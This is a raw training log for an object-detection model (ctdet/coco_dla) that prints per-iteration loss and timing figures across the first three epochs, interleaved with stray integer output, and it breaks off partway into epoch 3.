2 0 1 0 1 1 1 0 ctdet/coco_dla| train: [1][5/61]|Tot: 0:00:31 |ETA: 0:00:00 |loss 154.7450 |hm_loss 151.9525 |wh_loss 25.7044 |off_loss 0.2221 |Data 0.663s(0.706s) |Net 5.172s 0 0 2 1 2 1 0 ctdet/coco_dla| train: [1][6/61]|Tot: 0:00:32 |ETA: 0:00:00 |loss 146.0022 |hm_loss 142.9267 |wh_loss 28.4865 |off_loss 0.2269 |Data 0.697s(0.705s) |Net 4.633s 0 0 1 2 1 ctdet/coco_dla| train: [1][7/61]|Tot: 0:00:33 |ETA: 0:00:00 |loss 139.8169 |hm_loss 136.7095 |wh_loss 28.7618 |off_loss 0.2312 |Data 0.702s(0.704s) |Net 4.226s 2 1 0 2 0 2 0 0 ctdet/coco_dla| train: [1][8/61]|Tot: 0:00:35 |ETA: 0:00:00 |loss 131.6073 |hm_loss 128.3861 |wh_loss 29.9020 |off_loss 0.2310 |Data 0.667s(0.700s) |Net 3.904s 0 0 1 0 1 0 ctdet/coco_dla| train: [1][9/61]|Tot: 0:00:36 |ETA: 0:00:00 |loss 126.3906 |hm_loss 123.1763 |wh_loss 29.7408 |off_loss 0.2402 |Data 0.653s(0.695s) |Net 3.646s 0 0 1 0 0 ctdet/coco_dla| train: [1][10/61]|Tot: 0:00:37 |ETA: 0:00:00 |loss 121.4728 |hm_loss 118.1913 |wh_loss 30.4300 |off_loss 0.2385 |Data 0.646s(0.691s) |Net 3.433s 1 0 3 1 0 ctdet/coco_dla| train: [1][11/61]|Tot: 0:00:39 |ETA: 0:00:00 |loss 117.1920 |hm_loss 113.8334 |wh_loss 31.2389 |off_loss 0.2347 |Data 0.650s(0.688s) |Net 3.257s 2 0 0 ctdet/coco_dla| train: [1][12/61]|Tot: 0:00:40 |ETA: 0:00:00 |loss 113.5846 |hm_loss 110.2527 |wh_loss 30.9449 |off_loss 0.2374 |Data 0.680s(0.687s) |Net 3.110s 1 ctdet/coco_dla| train: [1][13/61]|Tot: 0:00:41 |ETA: 0:00:00 |loss 109.8465 |hm_loss 106.6703 |wh_loss 29.5293 |off_loss 0.2232 |Data 0.689s(0.687s) |Net 2.984s 0 2 2 0 0 0 ctdet/coco_dla| train: [1][14/61]|Tot: 0:00:43 |ETA: 0:00:00 |loss 105.3685 |hm_loss 102.1943 |wh_loss 29.5737 |off_loss 0.2168 |Data 0.676s(0.686s) |Net 2.880s 0 0 0 0 0 ctdet/coco_dla| train: [1][15/61]|Tot: 0:00:44 |ETA: 0:00:00 |loss 101.4148 |hm_loss 98.2536 |wh_loss 29.4726 |off_loss 0.2139 |Data 0.665s(0.685s) |Net 2.783s 1 0 2 1 ctdet/coco_dla| train: [1][16/61]|Tot: 0:00:45 |ETA: 0:00:00 |loss 97.7998 |hm_loss 94.7034 |wh_loss 28.9164 |off_loss 0.2048 |Data 0.681s(0.685s) |Net 2.699s 2 0 0 0 1 ctdet/coco_dla| train: [1][17/61]|Tot: 0:00:47 |ETA: 0:00:00 |loss 94.6994 |hm_loss 91.5217 |wh_loss 29.7714 |off_loss 0.2006 |Data 0.627s(0.682s) |Net 2.621s 0 0 0 1 ctdet/coco_dla| train: [1][18/61]|Tot: 0:00:48 |ETA: 0:00:00 |loss 91.6165 |hm_loss 88.4839 |wh_loss 29.3155 |off_loss 0.2011 |Data 0.682s(0.682s) |Net 2.554s 0 ctdet/coco_dla| train: [1][19/61]|Tot: 0:00:49 |ETA: 0:00:00 |loss 88.7937 |hm_loss 85.7672 |wh_loss 28.3227 |off_loss 0.1942 |Data 0.659s(0.680s) |Net 2.493s 0 1 0 0 0 0 1 0 2 ctdet/coco_dla| train: [1][20/61]|Tot: 0:00:51 |ETA: 0:00:00 |loss 85.5606 |hm_loss 82.4881 |wh_loss 28.7730 |off_loss 0.1952 |Data 0.683s(0.681s) |Net 2.438s 3 2 1 ctdet/coco_dla| train: [1][21/61]|Tot: 0:00:52 |ETA: 0:00:00 |loss 83.1104 |hm_loss 80.0894 |wh_loss 28.2698 |off_loss 0.1940 |Data 0.679s(0.681s) |Net 2.389s 2 1 2 0 3 2 1 0 ctdet/coco_dla| train: [1][22/61]|Tot: 0:00:53 |ETA: 0:00:00 |loss 80.4776 |hm_loss 77.3827 |wh_loss 29.0121 |off_loss 0.1937 |Data 0.649s(0.679s) |Net 2.342s 1 ctdet/coco_dla| train: [1][23/61]|Tot: 0:00:55 |ETA: 0:00:00 |loss 78.1676 |hm_loss 75.1724 |wh_loss 28.0804 |off_loss 0.1872 |Data 0.652s(0.678s) |Net 2.301s 0 0 0 2 3 2 0 2 ctdet/coco_dla| train: [1][24/61]|Tot: 0:00:56 |ETA: 0:00:00 |loss 75.9059 |hm_loss 72.8503 |wh_loss 28.6713 |off_loss 0.1884 |Data 0.693s(0.679s) |Net 2.264s 0 2 0 0 1 0 0 1 ctdet/coco_dla| train: [1][25/61]|Tot: 0:00:57 |ETA: 0:00:00 |loss 73.5901 |hm_loss 70.5463 |wh_loss 28.5693 |off_loss 0.1869 |Data 0.692s(0.679s) |Net 2.229s 1 1 0 ctdet/coco_dla| train: [1][26/61]|Tot: 0:00:59 |ETA: 0:00:00 |loss 71.6906 |hm_loss 68.6765 |wh_loss 28.2700 |off_loss 0.1871 |Data 0.635s(0.678s) |Net 2.195s 0 0 1 ctdet/coco_dla| train: [1][27/61]|Tot: 0:01:00 |ETA: 0:00:00 |loss 69.7846 |hm_loss 66.7969 |wh_loss 28.0269 |off_loss 0.1850 |Data 0.681s(0.678s) |Net 2.165s 0 ctdet/coco_dla| train: [1][28/61]|Tot: 0:01:01 |ETA: 0:00:00 |loss 67.9671 |hm_loss 65.0575 |wh_loss 27.2984 |off_loss 0.1797 |Data 0.633s(0.676s) |Net 2.135s 0 1 0 ctdet/coco_dla| train: [1][29/61]|Tot: 0:01:03 |ETA: 0:00:00 |loss 66.2175 |hm_loss 63.3494 |wh_loss 26.9144 |off_loss 0.1766 |Data 0.682s(0.676s) |Net 2.109s 0 0 2 0 2 ctdet/coco_dla| train: [1][30/61]|Tot: 0:01:04 |ETA: 0:00:00 |loss 64.5616 |hm_loss 61.6893 |wh_loss 26.9603 |off_loss 0.1762 |Data 0.663s(0.676s) |Net 2.084s 1 1 0 ctdet/coco_dla| train: [1][31/61]|Tot: 0:01:05 |ETA: 0:00:00 |loss 62.9090 |hm_loss 60.1039 |wh_loss 26.3279 |off_loss 0.1722 |Data 0.662s(0.675s) |Net 2.061s 0 0 0 1 0 1 0 1 0 ctdet/coco_dla| train: [1][32/61]|Tot: 0:01:07 |ETA: 0:00:00 |loss 61.3408 |hm_loss 58.5236 |wh_loss 26.4486 |off_loss 0.1723 |Data 0.666s(0.675s) |Net 2.040s 0 2 0 ctdet/coco_dla| train: [1][33/61]|Tot: 0:01:08 |ETA: 0:00:00 |loss 59.9857 |hm_loss 57.1720 |wh_loss 26.3934 |off_loss 0.1743 |Data 0.691s(0.676s) |Net 2.020s 0 1 1 ctdet/coco_dla| train: [1][34/61]|Tot: 0:01:10 |ETA: 0:00:00 |loss 58.6062 |hm_loss 55.8234 |wh_loss 26.1067 |off_loss 0.1721 |Data 0.671s(0.676s) |Net 2.000s 0 0 1 1 1 1 ctdet/coco_dla| train: [1][35/61]|Tot: 0:01:11 |ETA: 0:00:00 |loss 57.2898 |hm_loss 54.5142 |wh_loss 26.0219 |off_loss 0.1734 |Data 0.672s(0.675s) |Net 1.982s 0 0 0 1 1 ctdet/coco_dla| train: [1][36/61]|Tot: 0:01:12 |ETA: 0:00:00 |loss 56.0352 |hm_loss 53.2673 |wh_loss 25.9519 |off_loss 0.1728 |Data 0.672s(0.675s) |Net 1.965s 2 1 ctdet/coco_dla| train: [1][37/61]|Tot: 0:01:14 |ETA: 0:00:00 |loss 54.8880 |hm_loss 52.1129 |wh_loss 26.0436 |off_loss 0.1707 |Data 0.672s(0.675s) |Net 1.948s 0 0 3 1 ctdet/coco_dla| train: [1][38/61]|Tot: 0:01:15 |ETA: 0:00:00 |loss 53.7690 |hm_loss 51.0020 |wh_loss 25.9577 |off_loss 0.1712 |Data 0.686s(0.675s) |Net 1.933s 0 2 ctdet/coco_dla| train: [1][39/61]|Tot: 0:01:16 |ETA: 0:00:00 |loss 52.6289 |hm_loss 49.9002 |wh_loss 25.5999 |off_loss 0.1687 |Data 0.665s(0.675s) |Net 1.918s 0 1 0 1 0 0 ctdet/coco_dla| train: [1][40/61]|Tot: 0:01:18 |ETA: 0:00:00 |loss 51.6431 |hm_loss 48.8842 |wh_loss 25.9000 |off_loss 0.1688 |Data 0.671s(0.675s) |Net 1.904s 2 0 0 1 ctdet/coco_dla| train: [1][41/61]|Tot: 0:01:19 |ETA: 0:00:00 |loss 50.6581 |hm_loss 47.8996 |wh_loss 25.9057 |off_loss 0.1679 |Data 0.680s(0.675s) |Net 1.891s 0 0 1 1 2 0 0 ctdet/coco_dla| train: [1][42/61]|Tot: 0:01:20 |ETA: 0:00:00 |loss 49.7349 |hm_loss 46.9476 |wh_loss 26.1682 |off_loss 0.1705 |Data 0.663s(0.675s) |Net 1.878s 0 0 2 ctdet/coco_dla| train: [1][43/61]|Tot: 0:01:22 |ETA: 0:00:00 |loss 48.7944 |hm_loss 46.0243 |wh_loss 26.0068 |off_loss 0.1694 |Data 0.673s(0.675s) |Net 1.865s 1 0 1 ctdet/coco_dla| train: [1][44/61]|Tot: 0:01:23 |ETA: 0:00:00 |loss 47.9005 |hm_loss 45.1353 |wh_loss 25.9849 |off_loss 0.1668 |Data 0.668s(0.675s) |Net 1.854s 2 0 1 ctdet/coco_dla| train: [1][45/61]|Tot: 0:01:24 |ETA: 0:00:00 |loss 47.0162 |hm_loss 44.2827 |wh_loss 25.6746 |off_loss 0.1660 |Data 0.662s(0.674s) |Net 1.842s 0 0 1 0 1 0 1 2 ctdet/coco_dla| train: [1][46/61]|Tot: 0:01:26 |ETA: 0:00:00 |loss 46.2037 |hm_loss 43.4588 |wh_loss 25.7745 |off_loss 0.1675 |Data 0.682s(0.675s) |Net 1.832s 1 0 2 0 3 ctdet/coco_dla| train: [1][47/61]|Tot: 0:01:27 |ETA: 0:00:00 |loss 45.4759 |hm_loss 42.6934 |wh_loss 26.1373 |off_loss 0.1688 |Data 0.681s(0.675s) |Net 1.822s 1 0 0 3 2 0 ctdet/coco_dla| train: [1][48/61]|Tot: 0:01:28 |ETA: 0:00:00 |loss 44.7290 |hm_loss 41.9472 |wh_loss 26.1261 |off_loss 0.1692 |Data 0.670s(0.675s) |Net 1.812s 0 1 1 0 0 2 0 ctdet/coco_dla| train: [1][49/61]|Tot: 0:01:30 |ETA: 0:00:00 |loss 44.0239 |hm_loss 41.2233 |wh_loss 26.3126 |off_loss 0.1694 |Data 0.665s(0.674s) |Net 1.804s 1 2 1 1 3 3 0 ctdet/coco_dla| train: [1][50/61]|Tot: 0:01:31 |ETA: 0:00:00 |loss 43.3706 |hm_loss 40.5408 |wh_loss 26.5993 |off_loss 0.1699 |Data 0.669s(0.674s) |Net 1.795s 0 1 1 1 0 0 0 2 0 ctdet/coco_dla| train: [1][51/61]|Tot: 0:01:32 |ETA: 0:00:00 |loss 42.6866 |hm_loss 39.8487 |wh_loss 26.6790 |off_loss 0.1700 |Data 0.668s(0.674s) |Net 1.786s 1 0 0 0 2 ctdet/coco_dla| train: [1][52/61]|Tot: 0:01:34 |ETA: 0:00:00 |loss 42.0084 |hm_loss 39.1892 |wh_loss 26.4918 |off_loss 0.1700 |Data 0.683s(0.674s) |Net 1.778s 0 0 0 0 1 1 0 ctdet/coco_dla| train: [1][53/61]|Tot: 0:01:35 |ETA: 0:00:00 |loss 41.3573 |hm_loss 38.5415 |wh_loss 26.4671 |off_loss 0.1691 |Data 0.711s(0.675s) |Net 1.771s 0 2 0 1 1 ctdet/coco_dla| train: [1][54/61]|Tot: 0:01:36 |ETA: 0:00:00 |loss 40.7335 |hm_loss 37.9305 |wh_loss 26.3412 |off_loss 0.1689 |Data 0.674s(0.675s) |Net 1.763s 0 1 3 1 0 0 0 1 ctdet/coco_dla| train: [1][55/61]|Tot: 0:01:38 |ETA: 0:00:00 |loss 40.1276 |hm_loss 37.3235 |wh_loss 26.3548 |off_loss 0.1686 |Data 0.661s(0.675s) |Net 1.755s 0 0 1 2 0 1 0 ctdet/coco_dla| train: [1][56/61]|Tot: 0:01:39 |ETA: 0:00:00 |loss 39.5727 |hm_loss 36.7579 |wh_loss 26.4400 |off_loss 0.1708 |Data 0.665s(0.675s) |Net 1.748s 0 2 0 0 0 2 ctdet/coco_dla| train: [1][57/61]|Tot: 0:01:40 |ETA: 0:00:00 |loss 39.0103 |hm_loss 36.1951 |wh_loss 26.4517 |off_loss 0.1701 |Data 0.664s(0.674s) |Net 1.741s 2 0 0 1 ctdet/coco_dla| train: [1][58/61]|Tot: 0:01:42 |ETA: 0:00:00 |loss 38.4508 |hm_loss 35.6445 |wh_loss 26.3678 |off_loss 0.1695 |Data 0.663s(0.674s) |Net 1.735s 1 0 0 1 2 0 ctdet/coco_dla| train: [1][59/61]|Tot: 0:01:43 |ETA: 0:00:00 |loss 37.9388 |hm_loss 35.1197 |wh_loss 26.5061 |off_loss 0.1685 |Data 0.661s(0.674s) |Net 1.728s 1 0 ctdet/coco_dla| train: [1][60/61]|Tot: 0:01:45 |ETA: 0:00:00 |loss 37.4364 |hm_loss 34.6133 |wh_loss 26.5614 |off_loss 0.1670 |Data 0.667s(0.674s) |Net 1.722s 0 0 0 0 0 2 1 ctdet/coco_dla| train: [2][0/61]|Tot: 0:00:01 |ETA: 0:00:00 |loss 7.8970 |hm_loss 4.5787 |wh_loss 30.5631 |off_loss 0.2620 |Data 0.677s(0.677s) |Net 1.346s 1 1 0 0 ctdet/coco_dla| train: [2][1/61]|Tot: 0:00:02 |ETA: 0:00:00 |loss 7.3373 |hm_loss 4.5426 |wh_loss 25.7585 |off_loss 0.2189 |Data 0.672s(0.674s) |Net 1.344s 1 0 ctdet/coco_dla| train: [2][2/61]|Tot: 0:00:04 |ETA: 0:00:00 |loss 6.9271 |hm_loss 4.3735 |wh_loss 23.8088 |off_loss 0.1728 |Data 0.677s(0.675s) |Net 1.345s 0 0 0 1 0 ctdet/coco_dla| train: [2][3/61]|Tot: 0:00:05 |ETA: 0:00:00 |loss 7.4677 |hm_loss 4.5340 |wh_loss 27.6050 |off_loss 0.1732 |Data 0.687s(0.678s) |Net 1.348s 0 1 0 1 ctdet/coco_dla| train: [2][4/61]|Tot: 0:00:06 |ETA: 0:00:00 |loss 7.4141 |hm_loss 4.4826 |wh_loss 27.5736 |off_loss 0.1741 |Data 0.688s(0.680s) |Net 1.350s 2 0 0 3 2 0 1 0 0 1 ctdet/coco_dla| train: [2][5/61]|Tot: 0:00:08 |ETA: 0:00:00 |loss 7.5363 |hm_loss 4.4313 |wh_loss 29.2864 |off_loss 0.1764 |Data 0.677s(0.679s) |Net 1.349s 2 1 0 0 0 ctdet/coco_dla| train: [2][6/61]|Tot: 0:00:09 |ETA: 0:00:00 |loss 7.4953 |hm_loss 4.3576 |wh_loss 29.6286 |off_loss 0.1748 |Data 0.661s(0.677s) |Net 1.352s 0 2 1 ctdet/coco_dla| train: [2][7/61]|Tot: 0:00:10 |ETA: 0:00:00 |loss 7.2653 |hm_loss 4.2402 |wh_loss 28.6336 |off_loss 0.1618 |Data 0.659s(0.675s) |Net 1.351s 1 2 0 0 0 2 0 ctdet/coco_dla| train: [2][8/61]|Tot: 0:00:12 |ETA: 0:00:00 |loss 7.4156 |hm_loss 4.2402 |wh_loss 30.1574 |off_loss 0.1597 |Data 0.695s(0.677s) |Net 1.352s 2 0 0 0 0 2 1 ctdet/coco_dla| train: [2][9/61]|Tot: 0:00:13 |ETA: 0:00:00 |loss 7.4002 |hm_loss 4.2349 |wh_loss 30.0728 |off_loss 0.1581 |Data 0.662s(0.675s) |Net 1.350s 0 1 1 1 0 1 0 ctdet/coco_dla| train: [2][10/61]|Tot: 0:00:14 |ETA: 0:00:00 |loss 7.3870 |hm_loss 4.2506 |wh_loss 29.7447 |off_loss 0.1620 |Data 0.728s(0.680s) |Net 1.356s 1 3 1 0 0 0 3 ctdet/coco_dla| train: [2][11/61]|Tot: 0:00:16 |ETA: 0:00:00 |loss 7.4330 |hm_loss 4.3412 |wh_loss 29.1875 |off_loss 0.1730 |Data 0.659s(0.678s) |Net 1.354s 1 1 2 0 1 2 ctdet/coco_dla| train: [2][12/61]|Tot: 0:00:17 |ETA: 0:00:00 |loss 7.4447 |hm_loss 4.3456 |wh_loss 29.2882 |off_loss 0.1703 |Data 0.663s(0.677s) |Net 1.352s 0 0 1 0 3 ctdet/coco_dla| train: [2][13/61]|Tot: 0:00:18 |ETA: 0:00:00 |loss 7.3565 |hm_loss 4.2932 |wh_loss 28.9260 |off_loss 0.1707 |Data 0.669s(0.677s) |Net 1.352s 2 1 1 ctdet/coco_dla| train: [2][14/61]|Tot: 0:00:20 |ETA: 0:00:00 |loss 7.2000 |hm_loss 4.2185 |wh_loss 28.1382 |off_loss 0.1678 |Data 0.662s(0.676s) |Net 1.350s 0 1 0 0 1 2 ctdet/coco_dla| train: [2][15/61]|Tot: 0:00:21 |ETA: 0:00:00 |loss 7.0954 |hm_loss 4.1796 |wh_loss 27.4673 |off_loss 0.1691 |Data 0.676s(0.676s) |Net 1.353s 2 0 2 0 0 ctdet/coco_dla| train: [2][16/61]|Tot: 0:00:22 |ETA: 0:00:00 |loss 7.1807 |hm_loss 4.1971 |wh_loss 28.1011 |off_loss 0.1735 |Data 0.667s(0.675s) |Net 1.352s 0 1 3 1 2 1 0 0 ctdet/coco_dla| train: [2][17/61]|Tot: 0:00:24 |ETA: 0:00:00 |loss 7.2248 |hm_loss 4.1928 |wh_loss 28.5706 |off_loss 0.1750 |Data 0.677s(0.675s) |Net 1.352s 0 0 1 0 1 ctdet/coco_dla| train: [2][18/61]|Tot: 0:00:25 |ETA: 0:00:00 |loss 7.2140 |hm_loss 4.1558 |wh_loss 28.8669 |off_loss 0.1715 |Data 0.646s(0.674s) |Net 1.350s 1 2 0 1 3 ctdet/coco_dla| train: [2][19/61]|Tot: 0:00:27 |ETA: 0:00:00 |loss 7.1497 |hm_loss 4.1323 |wh_loss 28.4795 |off_loss 0.1695 |Data 0.683s(0.674s) |Net 1.351s 0 0 0 1 0 2 0 1 ctdet/coco_dla| train: [2][20/61]|Tot: 0:00:28 |ETA: 0:00:00 |loss 7.1876 |hm_loss 4.1240 |wh_loss 28.9457 |off_loss 0.1690 |Data 0.677s(0.674s) |Net 1.351s 1 0 1 0 ctdet/coco_dla| train: [2][21/61]|Tot: 0:00:29 |ETA: 0:00:00 |loss 7.1237 |hm_loss 4.1062 |wh_loss 28.5171 |off_loss 0.1658 |Data 0.682s(0.675s) |Net 1.351s 2 0 0 1 2 1 ctdet/coco_dla| train: [2][22/61]|Tot: 0:00:31 |ETA: 0:00:00 |loss 7.1436 |hm_loss 4.1077 |wh_loss 28.6797 |off_loss 0.1679 |Data 0.643s(0.673s) |Net 1.349s 1 0 1 1 1 1 ctdet/coco_dla| train: [2][23/61]|Tot: 0:00:32 |ETA: 0:00:00 |loss 7.0810 |hm_loss 4.0709 |wh_loss 28.4441 |off_loss 0.1657 |Data 0.644s(0.672s) |Net 1.348s 0 0 1 1 2 0 ctdet/coco_dla| train: [2][24/61]|Tot: 0:00:33 |ETA: 0:00:00 |loss 7.0504 |hm_loss 4.0397 |wh_loss 28.4566 |off_loss 0.1651 |Data 0.737s(0.675s) |Net 1.351s 3 0 0 0 ctdet/coco_dla| train: [2][25/61]|Tot: 0:00:35 |ETA: 0:00:00 |loss 7.0336 |hm_loss 4.0203 |wh_loss 28.4910 |off_loss 0.1642 |Data 0.685s(0.675s) |Net 1.351s 0 0 0 0 ctdet/coco_dla| train: [2][26/61]|Tot: 0:00:36 |ETA: 0:00:00 |loss 7.0665 |hm_loss 4.0360 |wh_loss 28.6671 |off_loss 0.1638 |Data 0.685s(0.675s) |Net 1.351s 1 2 0 ctdet/coco_dla| train: [2][27/61]|Tot: 0:00:37 |ETA: 0:00:00 |loss 7.0370 |hm_loss 4.0251 |wh_loss 28.4990 |off_loss 0.1620 |Data 0.680s(0.676s) |Net 1.351s 1 0 1 0 0 ctdet/coco_dla| train: [2][28/61]|Tot: 0:00:39 |ETA: 0:00:00 |loss 6.9997 |hm_loss 4.0014 |wh_loss 28.3571 |off_loss 0.1626 |Data 0.687s(0.676s) |Net 1.351s 0 1 1 1 ctdet/coco_dla| train: [2][29/61]|Tot: 0:00:40 |ETA: 0:00:00 |loss 6.9797 |hm_loss 3.9841 |wh_loss 28.3374 |off_loss 0.1619 |Data 0.679s(0.676s) |Net 1.351s 2 1 ctdet/coco_dla| train: [2][30/61]|Tot: 0:00:41 |ETA: 0:00:00 |loss 6.8924 |hm_loss 3.9494 |wh_loss 27.8399 |off_loss 0.1591 |Data 0.667s(0.676s) |Net 1.351s 0 2 0 0 0 1 1 0 ctdet/coco_dla| train: [2][31/61]|Tot: 0:00:43 |ETA: 0:00:00 |loss 6.9194 |hm_loss 3.9519 |wh_loss 28.0806 |off_loss 0.1594 |Data 0.661s(0.675s) |Net 1.351s 0 0 1 1 ctdet/coco_dla| train: [2][32/61]|Tot: 0:00:44 |ETA: 0:00:00 |loss 6.8808 |hm_loss 3.9355 |wh_loss 27.8511 |off_loss 0.1601 |Data 0.664s(0.675s) |Net 1.351s 0 0 2 0 1 ctdet/coco_dla| train: [2][33/61]|Tot: 0:00:45 |ETA: 0:00:00 |loss 6.8366 |hm_loss 3.9148 |wh_loss 27.6415 |off_loss 0.1576 |Data 0.694s(0.675s) |Net 1.352s 1 0 ctdet/coco_dla| train: [2][34/61]|Tot: 0:00:47 |ETA: 0:00:00 |loss 6.7361 |hm_loss 3.8842 |wh_loss 26.9678 |off_loss 0.1551 |Data 0.671s(0.675s) |Net 1.352s 0 1 2 0 3 ctdet/coco_dla| train: [2][35/61]|Tot: 0:00:48 |ETA: 0:00:00 |loss 6.6757 |hm_loss 3.8663 |wh_loss 26.5501 |off_loss 0.1544 |Data 0.679s(0.675s) |Net 1.352s 1 0 1 1 1 0 0 0 ctdet/coco_dla| train: [2][36/61]|Tot: 0:00:50 |ETA: 0:00:00 |loss 6.6996 |hm_loss 3.8662 |wh_loss 26.7777 |off_loss 0.1556 |Data 0.679s(0.676s) |Net 1.351s 2 0 0 1 0 0 1 ctdet/coco_dla| train: [2][37/61]|Tot: 0:00:51 |ETA: 0:00:00 |loss 6.7883 |hm_loss 3.8862 |wh_loss 27.4395 |off_loss 0.1581 |Data 0.677s(0.676s) |Net 1.351s 1 0 1 1 1 ctdet/coco_dla| train: [2][38/61]|Tot: 0:00:52 |ETA: 0:00:00 |loss 6.8174 |hm_loss 3.8909 |wh_loss 27.6862 |off_loss 0.1579 |Data 0.663s(0.675s) |Net 1.351s 0 1 ctdet/coco_dla| train: [2][39/61]|Tot: 0:00:54 |ETA: 0:00:00 |loss 6.7826 |hm_loss 3.8617 |wh_loss 27.6505 |off_loss 0.1558 |Data 0.682s(0.675s) |Net 1.351s 2 0 1 2 0 2 0 1 ctdet/coco_dla| train: [2][40/61]|Tot: 0:00:55 |ETA: 0:00:00 |loss 6.7404 |hm_loss 3.8392 |wh_loss 27.4542 |off_loss 0.1558 |Data 0.674s(0.675s) |Net 1.351s 0 ctdet/coco_dla| train: [2][41/61]|Tot: 0:00:56 |ETA: 0:00:00 |loss 6.6556 |hm_loss 3.7943 |wh_loss 27.0880 |off_loss 0.1525 |Data 0.661s(0.675s) |Net 1.352s 0 2 0 2 0 1 1 ctdet/coco_dla| train: [2][42/61]|Tot: 0:00:58 |ETA: 0:00:00 |loss 6.6285 |hm_loss 3.7758 |wh_loss 27.0087 |off_loss 0.1518 |Data 0.676s(0.675s) |Net 1.352s 2 0 1 ctdet/coco_dla| train: [2][43/61]|Tot: 0:00:59 |ETA: 0:00:00 |loss 6.6129 |hm_loss 3.7673 |wh_loss 26.9357 |off_loss 0.1521 |Data 0.662s(0.675s) |Net 1.351s 1 0 1 ctdet/coco_dla| train: [2][44/61]|Tot: 0:01:00 |ETA: 0:00:00 |loss 6.6078 |hm_loss 3.7582 |wh_loss 26.9716 |off_loss 0.1524 |Data 0.664s(0.675s) |Net 1.351s 1 1 1 ctdet/coco_dla| train: [2][45/61]|Tot: 0:01:02 |ETA: 0:00:00 |loss 6.5604 |hm_loss 3.7309 |wh_loss 26.7693 |off_loss 0.1526 |Data 0.676s(0.675s) |Net 1.351s 0 0 0 0 0 ctdet/coco_dla| train: [2][46/61]|Tot: 0:01:03 |ETA: 0:00:00 |loss 6.5308 |hm_loss 3.7154 |wh_loss 26.6291 |off_loss 0.1524 |Data 0.672s(0.675s) |Net 1.351s 0 2 0 1 0 ctdet/coco_dla| train: [2][47/61]|Tot: 0:01:04 |ETA: 0:00:00 |loss 6.4981 |hm_loss 3.7024 |wh_loss 26.4287 |off_loss 0.1529 |Data 0.672s(0.674s) |Net 1.351s 0 0 0 ctdet/coco_dla| train: [2][48/61]|Tot: 0:01:06 |ETA: 0:00:00 |loss 6.4744 |hm_loss 3.6945 |wh_loss 26.2845 |off_loss 0.1514 |Data 0.679s(0.675s) |Net 1.351s 2 3 0 0 1 0 ctdet/coco_dla| train: [2][49/61]|Tot: 0:01:07 |ETA: 0:00:00 |loss 6.4475 |hm_loss 3.6804 |wh_loss 26.1545 |off_loss 0.1516 |Data 0.695s(0.675s) |Net 1.351s 0 0 0 1 0 ctdet/coco_dla| train: [2][50/61]|Tot: 0:01:08 |ETA: 0:00:00 |loss 6.4450 |hm_loss 3.6691 |wh_loss 26.2356 |off_loss 0.1523 |Data 0.645s(0.674s) |Net 1.351s 0 3 1 0 0 0 ctdet/coco_dla| train: [2][51/61]|Tot: 0:01:10 |ETA: 0:00:00 |loss 6.4239 |hm_loss 3.6541 |wh_loss 26.1694 |off_loss 0.1528 |Data 0.668s(0.674s) |Net 1.351s 1 0 0 2 ctdet/coco_dla| train: [2][52/61]|Tot: 0:01:11 |ETA: 0:00:00 |loss 6.4254 |hm_loss 3.6442 |wh_loss 26.2894 |off_loss 0.1522 |Data 0.673s(0.674s) |Net 1.351s 3 0 0 0 0 2 ctdet/coco_dla| train: [2][53/61]|Tot: 0:01:12 |ETA: 0:00:00 |loss 6.4011 |hm_loss 3.6353 |wh_loss 26.1297 |off_loss 0.1528 |Data 0.701s(0.675s) |Net 1.351s 0 0 0 1 2 1 0 1 0 ctdet/coco_dla| train: [2][54/61]|Tot: 0:01:14 |ETA: 0:00:00 |loss 6.4069 |hm_loss 3.6331 |wh_loss 26.2000 |off_loss 0.1538 |Data 0.716s(0.675s) |Net 1.352s 0 0 1 0 ctdet/coco_dla| train: [2][55/61]|Tot: 0:01:15 |ETA: 0:00:00 |loss 6.4061 |hm_loss 3.6228 |wh_loss 26.2980 |off_loss 0.1535 |Data 0.665s(0.675s) |Net 1.352s 1 0 1 2 1 1 0 1 ctdet/coco_dla| train: [2][56/61]|Tot: 0:01:17 |ETA: 0:00:00 |loss 6.3966 |hm_loss 3.6235 |wh_loss 26.1796 |off_loss 0.1551 |Data 0.675s(0.675s) |Net 1.352s 0 0 1 0 2 0 ctdet/coco_dla| train: [2][57/61]|Tot: 0:01:18 |ETA: 0:00:00 |loss 6.4233 |hm_loss 3.6252 |wh_loss 26.4107 |off_loss 0.1570 |Data 0.672s(0.675s) |Net 1.352s 1 0 ctdet/coco_dla| train: [2][58/61]|Tot: 0:01:19 |ETA: 0:00:00 |loss 6.3680 |hm_loss 3.6049 |wh_loss 26.0756 |off_loss 0.1555 |Data 0.662s(0.675s) |Net 1.352s 1 0 1 0 1 ctdet/coco_dla| train: [2][59/61]|Tot: 0:01:21 |ETA: 0:00:00 |loss 6.3452 |hm_loss 3.5948 |wh_loss 25.9478 |off_loss 0.1556 |Data 0.665s(0.675s) |Net 1.352s 0 1 3 2 0 ctdet/coco_dla| train: [2][60/61]|Tot: 0:01:22 |ETA: 0:00:00 |loss 6.3282 |hm_loss 3.5839 |wh_loss 25.8901 |off_loss 0.1553 |Data 0.669s(0.675s) |Net 1.352s 0 2 1 1 2 ctdet/coco_dla| train: [3][0/61]|Tot: 0:00:01 |ETA: 0:00:00 |loss 6.0324 |hm_loss 3.7709 |wh_loss 20.6929 |off_loss 0.1922 |Data 0.684s(0.684s) |Net 1.359s 0 1 1 0 3 ctdet/coco_dla| train: [3][1/61]|Tot: 0:00:02 |ETA: 0:00:00 |loss 5.6076 |hm_loss 3.3727 |wh_loss 20.7310 |off_loss 0.1618 |Data 0.674s(0.679s) |Net 1.353s 1 0 1 1 2 0 ctdet/coco_dla| train: [3][2/61]|Tot: 0:00:04 |ETA: 0:00:00 |loss 5.9570 |hm_loss 3.4641 |wh_loss 23.0638 |off_loss 0.1865 |Data 0.680s(0.679s) |Net 1.355s 0 1 0 1 0 2 2 1 0 ctdet/coco_dla| train: [3][3/61]|Tot: 0:00:05 |ETA: 0:00:00 |loss 6.5862 |hm_loss 3.6837 |wh_loss 27.0346 |off_loss 0.1991 |Data 0.677s(0.679s) |Net 1.354s 2 0 0 0 0 2 2 0 ctdet/coco_dla| train: [3][4/61]|Tot: 0:00:06 |ETA: 0:00:00 |loss 6.5455 |hm_loss 3.6656 |wh_loss 26.7175 |off_loss 0.2081 |Data 0.662s(0.675s) |Net 1.350s 0 3 1 2 0 1 2 ctdet/coco_dla| train: [3][5/61]|Tot: 0:00:08 |ETA: 0:00:00 |loss 6.4757 |hm_loss 3.6756 |wh_loss 25.9339 |off_loss 0.2067 |Data 0.669s(0.674s) |Net 1.348s 0 1 0 0 0 1 0 ctdet/coco_dla| train: [3][6/61]|Tot: 0:00:09 |ETA: 0:00:00 |loss 6.5751 |hm_loss 3.6717 